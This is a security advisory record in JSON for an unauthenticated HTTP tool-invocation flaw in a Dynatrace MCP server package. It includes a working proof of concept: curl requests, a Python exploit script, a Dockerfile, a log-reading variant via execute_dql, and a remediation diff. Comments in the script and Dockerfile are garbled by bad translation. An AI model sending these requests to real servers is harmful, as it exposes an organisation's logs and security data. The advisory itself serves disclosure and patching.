{"id":"GHSA-p7w7-4929-vpj5","aliases":[],"url":"https://o3.security/vulnerability/GHSA-p7w7-4929-vpj5","summary":"`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation","details":"### Summary\n\n`@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant).\n\n### Details\n\nWhen the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance:\n\n```ts\n// src/index.ts:1638-1640\nconst httpTransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: undefined, // No Session ID needed\n});\n```\n\nNo bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:\n\n```ts\n// src/index.ts:1648-1668\nbody = JSON.parse(rawBody);\n...\nawait httpTransport.handleRequest(req, res, body);\n```\n\nTwo tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate:\n\n**`execute_dql` — Confidentiality: High**\n```ts\n// src/index.ts:746-769\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));\nreturn executeDql(dtClient, { query });\n```\nAn attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.\n\n**`create_dynatrace_notebook` — Integrity: Low**\n```ts\n// src/index.ts:1593-1600\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));\nreturn createNotebook(dtClient, { name, sections });\n```\nAn attacker can create notebooks under the victim's tenant.\n\n> **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector.\n\n> **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build from repository root\ndocker build \\\n  -t dynatrace-mcp-vuln001:latest \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/dynatrace-mcp/repo\n\n# Run — abc12345 in hostname activates demo mode, skipping real API connectivity check\ndocker run -d \\\n  --name dynatrace-mcp-vuln001-test \\\n  -p 127.0.0.1:3999:3999 \\\n  -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \\\n  -e DT_PLATFORM_TOKEN=fake-token-for-poc \\\n  dynatrace-mcp-vuln001:latest \\\n  --http --port 3999 --host 0.0.0.0\n```\n\n**Unauthenticated tool invocation (no `Authorization` header):**\n\n```bash\ncurl -sS -N -X POST http://127.0.0.1:3999/ \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'Mcp-Protocol-Version: 2025-03-26' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"reset_grail_budget\",\"arguments\":{}}}'\n```\n\n**Observed response (HTTP 200, no authentication required):**\n\n```\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\n\nevent: message\ndata: {\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"✅ **Grail Budget Reset Successfully!**\\n\\nBudget status after reset:\\n- Total bytes scanned: 0 bytes (0 GB)\\n- Budget limit: 5000 GB\\n- Remaining budget: 5000 GB\\n- Budget exceeded: No\"}]},\"jsonrpc\":\"2.0\",\"id\":1}\n```\n\n**Python PoC script** (automated, with server-readiness polling):\n\n```bash\npython3 poc.py 127.0.0.1 3999\n# Exits 0 on confirmed unauthenticated tool execution\n# Exits 2 if server correctly returns HTTP 401 (patched)\n```\n\n**High-impact variant with real credentials — data exfiltration via `execute_dql`:**\n\n```bash\ncurl -sS -N -X POST http://<server>:3000/ \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'Mcp-Protocol-Version: 2025-03-26' \\\n  --data '{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"execute_dql\",\n      \"arguments\": {\n        \"query\": \"fetch logs | limit 10\"\n      }\n    }\n  }'\n```\n\n**Recommended remediation:**\n\n```diff\n--- a/src/index.ts\n+++ b/src/index.ts\n+import { timingSafeEqual } from 'node:crypto';\n\n+    .option('--http-auth-token <token>', 'bearer token required for HTTP server mode')\n\n+  const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;\n+\n+  const isAuthorizedHttpRequest = (req: IncomingMessage): boolean => {\n+    const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;\n+    const actualHeader = req.headers.authorization;\n+    if (!expected || !actualHeader) return false;\n+    const actual = Buffer.from(actualHeader);\n+    return actual.length === expected.length && timingSafeEqual(actual, expected);\n+  };\n\n   if (httpMode) {\n+    if (!httpAuthToken) {\n+      console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');\n+      process.exit(1);\n+    }\n     const httpServer = createServer(async (req, res) => {\n+      if (!isAuthorizedHttpRequest(req)) {\n+        res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });\n+        res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));\n+        return;\n+      }\n\n       const httpTransport = new StreamableHTTPServerTransport({\n         sessionIdGenerator: undefined,\n+        enableDnsRebindingProtection: true,\n+        allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],\n       });\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function** vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials.\n\n**Who is impacted:** Organizations running `dynatrace-mcp-server` with the `--http` flag enabled — particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n# build stage - text sourcefrom dynatrace-mcp-server build\nFROM node:22.21.1-alpine3.22 AS build\n\nWORKDIR /app\n\n# repo copy the full repo source (hosttext clone repo pathfrom textand build)\nCOPY . .\n\nRUN npm ci\nRUN npm run build\n\n# runtime textonly install (dist/package.json criteria)\nRUN cd dist && npm install --ignore-scripts && npm cache clean --force\n\n# runtime stage\nFROM node:22.21.1-alpine3.22\n\nWORKDIR /app\n\nCOPY --from=build --chown=node:node /app/dist /app/dist\n\nUSER node\n\n# environment variable: fake Dynatrace credentials (actual API calltext without reset_grail_budget PoCtext)\n# abc12345 contains when isDemoEnvironment=true → text text skip (src/index.ts:179)\nENV DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com\nENV DT_PLATFORM_TOKEN=fake-token-for-poc\n\n# HTTP text server start (--http: vulnerability text flag)\nENTRYPOINT [\"node\", \"dist/index.js\"]\nCMD [\"--http\", \"--port\", \"3999\", \"--host\", \"0.0.0.0\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n\nProof objective:\n  dynatrace-mcp-servertext --http text executetext when, Authorization headertext\n  session token text tools/call requesttext sendand MCP tooltext executeto do can existstext proof.\n\nAttack target tool: reset_grail_budget\n  - actual Dynatrace API call text in-memory statusonly secondstext (textbeforetext PoC target)\n  - success response: \"Grail Budget Reset Successfully\" string contains\n\nusage:\n  python3 poc.py [host] [port]\n  python3 poc.py 127.0.0.1 3999\n\"\"\"\n\nimport sys\nimport socket\nimport time\nimport json\n\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3999\nTIMEOUT = 15\n\n\ndef wait_for_server(host: str, port: int, retries: int = 20, delay: float = 1.0) -> bool:\n    for i in range(retries):\n        try:\n            s = socket.create_connection((host, port), timeout=2)\n            s.close()\n            return True\n        except (ConnectionRefusedError, OSError):\n            print(f\"[*] server wait in progress... ({i+1}/{retries})\", flush=True)\n            time.sleep(delay)\n    return False\n\n\ndef send_unauthenticated_mcp_call(host: str, port: int) -> dict:\n    \"\"\"\n    without an authentication header MCP tools/call send request.\n    vulnerability: StreamableHTTPServerTransport create when sessionIdGenerator: undefinedonly configuration,\n            Bearer token/Origin/Host verification beforetext none (src/index.ts:1638-1640).\n    \"\"\"\n    payload = json.dumps({\n        \"jsonrpc\": \"2.0\",\n        \"id\": 1,\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"reset_grail_budget\",\n            \"arguments\": {}\n        }\n    })\n\n    # authentication header textas omit - textthattext vulnerability prooftext key point\n    request = (\n        f\"POST / HTTP/1.1\\r\\n\"\n        f\"Host: {host}:{port}\\r\\n\"\n        f\"Content-Type: application/json\\r\\n\"\n        f\"Accept: application/json, text/event-stream\\r\\n\"\n        f\"Mcp-Protocol-Version: 2025-03-26\\r\\n\"\n        f\"Content-Length: {len(payload)}\\r\\n\"\n        f\"Connection: close\\r\\n\"\n        f\"\\r\\n\"\n        f\"{payload}\"\n    )\n\n    s = socket.create_connection((host, port), timeout=TIMEOUT)\n    s.sendall(request.encode())\n\n    response_chunks = []\n    s.settimeout(TIMEOUT)\n    try:\n        while True:\n            chunk = s.recv(4096)\n            if not chunk:\n                break\n            response_chunks.append(chunk.decode(\"utf-8\", errors=\"replace\"))\n    except socket.timeout:\n        pass\n    s.close()\n\n    return \"\".join(response_chunks)\n\n\ndef main():\n    print(f\"[VULN-001 PoC] Unauthenticated HTTP MCP Tool Invocation\")\n    print(f\"[*] target: http://{HOST}:{PORT}/\")\n    print(f\"[*] authentication header: none (text omit - vulnerability proof)\")\n    print(f\"[*] call tool: reset_grail_budget\")\n    print()\n\n    # wait for server readiness\n    print(f\"[*] waiting for server response...\")\n    if not wait_for_server(HOST, PORT):\n        print(f\"[FAIL] {HOST}:{PORT} from server is not responding.\")\n        sys.exit(1)\n\n    print(f\"[*] server connection succeeded\")\n    print(f\"[*] without authentication tools/call send request...\")\n    print()\n\n    raw_response = send_unauthenticated_mcp_call(HOST, PORT)\n\n    print(\"=== HTTP response raw text ===\")\n    print(raw_response)\n    print(\"=== response text ===\")\n    print()\n\n    # evidence verification\n    # HTTP 401 Unauthorizedtext returnif it becomes vulnerability none (textdone)\n    if \"401\" in raw_response and \"Unauthorized\" in raw_response:\n        print(\"[FAIL] servertext 401 Unauthorizedtext returntext - authenticationtext textbecomes exists\")\n        print(\"[conclusion] vulnerabilitytext text authenticationtext enabledbecomes exists.\")\n        sys.exit(2)\n\n    # success condition: reset_grail_budget result text contains\n    if \"Grail Budget Reset Successfully\" in raw_response:\n        print(\"[PASS] without authentication MCP tool execute success!\")\n        print(\"[evidence] responsetext 'Grail Budget Reset Successfully' contains\")\n        print(\"[conclusion] VULN-001 confirmed: --http textfrom without authentication tools/call execute possible\")\n        sys.exit(0)\n\n    # jsonrpc result parse attempt\n    for line in raw_response.split(\"\\n\"):\n        line = line.strip()\n        if line.startswith(\"data:\") or line.startswith(\"{\"):\n            try:\n                data_str = line[5:].strip() if line.startswith(\"data:\") else line\n                data = json.loads(data_str)\n                if \"result\" in data:\n                    print(\"[PASS] JSON-RPC result received - without authentication tool call success\")\n                    print(f\"[evidence] {json.dumps(data, ensure_ascii=False)}\")\n                    sys.exit(0)\n                if \"error\" in data:\n                    err = data[\"error\"]\n                    print(f\"[INFO] JSON-RPC error response: code={err.get('code')}, message={err.get('message')}\")\n            except json.JSONDecodeError:\n                pass\n\n    print(\"[INCOMPLETE] expected response patterntext text text.\")\n    print(\"[text] above response raw texttext check this.\")\n    sys.exit(3)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-07-31T16:05:57Z","modified":"2026-07-31T16:15:20.419494638Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@dynatrace-oss/dynatrace-mcp-server","fixedVersion":"2.0.0"}],"fix":{"url":"https://github.com/dynatrace-oss/dynatrace-mcp/pull/536","label":"dynatrace-oss/dynatrace-mcp#536"},"references":[{"type":"WEB","url":"https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-p7w7-4929-vpj5"},{"type":"WEB","url":"https://github.com/dynatrace-oss/dynatrace-mcp/pull/536"},{"type":"WEB","url":"https://github.com/dynatrace-oss/dynatrace-mcp/commit/8f12972481e9165e8bd24d63b0a9e71976f85a43"},{"type":"PACKAGE","url":"https://github.com/dynatrace-oss/dynatrace-mcp"},{"type":"WEB","url":"https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.0.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-31T16:15:20.419494638Z"}}